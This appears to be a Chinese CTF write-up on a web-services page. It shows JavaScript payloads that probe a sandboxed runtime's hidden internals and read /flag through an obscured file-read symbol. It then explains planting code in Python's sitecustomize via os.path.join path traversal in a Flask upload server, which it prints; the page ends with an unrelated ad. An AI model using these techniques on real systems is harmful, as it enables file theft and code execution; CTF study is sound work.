第二步:进一步信息收集找可利用方法
2026/6/24 8:51:04 网站建设 项目流程

探测runtime中的可用属性,注意由于返回内容包含对象,要使用JSON.stringify处理返回内容,并且需要Object.getOwnPropertyNames获取所有属性(否则函数,下划线开头等属性不会显示)

export default { async fetch(req) { let runtime = (0, eval)("this").__runtime; // 列出所有自身属性(包括 _internal / _secrets / _debug) let allKeys = Object.getOwnPropertyNames(runtime); return new Response(JSON.stringify(allKeys)); } }; //回显 //["hash","strlen","platform","perf","encoding","_debug","_secrets","_internal"]

可以发现runtime中"_debug" "_secrets" "_internal"这三个比较可疑

分别列出其中可用函数

export default { async fetch(req) { let s = __runtime._secrets; // 看 _secrets 下有哪些函数/属性 let keys = Object.getOwnPropertyNames(s); return new Response(JSON.stringify(keys)); } };
_debug : ["enabled","trace","dump","inspect"] _secrets : ["get","list"] _internal : ["debug","lib"]

没啥发现,挨个看看

在看到_internal.lib.symbols时

export default { async fetch(req) { let s = __runtime._internal.lib.symbols; let keys = Object.getOwnPropertyNames(s); return new Response(JSON.stringify(keys)); } }; //回显 //["_0x72656164","_0x6c697374"]

0x开头推测是16进制,解码一下分别是read和list

尝试直接调用read函数读/flag

export default { async fetch(request) { let flag = __runtime._internal.lib.symbols._0x72656164('/flag'); return new Response(JSON.stringify(flag)); } } //回显 //"ERROR: The argument 'path' must be a string, Uint8Array, or URL without null bytes. Received \"/app/\\u0000\\u0000\\u0000\\u0000\\u0000\""

错误信息告诉我们几个重要信息:

  1. 路径被修改了:我们传入的是"/flag",但系统收到的是"/app/\u0000\u0000..."
  2. 支持Uint8Array:错误说参数可以是string、Uint8Array或URL
  3. null bytes问题:路径中出现了\u0000(空字符)

推测

  • 系统在处理字符串路径时,会在前面加上/app/
  • 可能因为某些内存对齐问题,后面跟着空字节
  • 但如果使用Uint8Array,可能绕过这个处理
export default { async fetch(request) { let encoder = new TextEncoder(); let path = encoder.encode("/flag"); let flag = __runtime._internal.lib.symbols._0x72656164(path); return new Response(JSON.stringify(flag)); } } //回显 //xmctf{......}

拿到flag

AutoPypy

前置知识

site模块

site模块在Python启动时自动导入,负责:

  • 添加site-packages到sys.path
  • 当 Python 启动时,site 模块会按这个顺序自动执行:
    1. 导入sitecustomize.py
    2. 导入usercustomize.py
    3. 处理.pth文件

sitecustomize.py(系统级)

这是Python的特殊文件,在解释器启动时自动导入:

# sitecustomize.py import os os.system('cat /flag') # 每次Python启动都执行,我们可以插入恶意代码,每次运行时都会自动执行

usercustomize.py(用户级)

与前者类似,同样自动执行

os.path.join的特性

os.path.join在Unix上如果第二部分是绝对路径,会返回第二部分!

os.path.join('/app/uploads', '/etc/passwd') # /etc/passwd

也可以

path = os.path.join('/app/uploads', '../../../etc/passwd')

题目

server.py

import os import sys import subprocess from flask import Flask, request, render_template, jsonify app = Flask(__name__) BASE_DIR = os.path.dirname(os.path.abspath(__file__)) UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads') if not os.path.exists(UPLOAD_FOLDER): os.makedirs(UPLOAD_FOLDER) @app.route('/') def index(): return render_template("index.html") @app.route('/upload', methods=['POST']) def upload(): if 'file' not in request.files: return 'No file part', 400 file = request.files['file'] filename = request.form.get('filename') or file.filename save_path = os.path.join(UPLOAD_FOLDER, filename) save_dir = os.path.dirname(save_path) if not os.path.exists(save_dir): try: os.makedirs(save_dir) except OSError: pass try: file.save(save_path) return f'成功上传至: {save_path}' except Exception as e: return f'上传失败: {str(e)}', 500

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询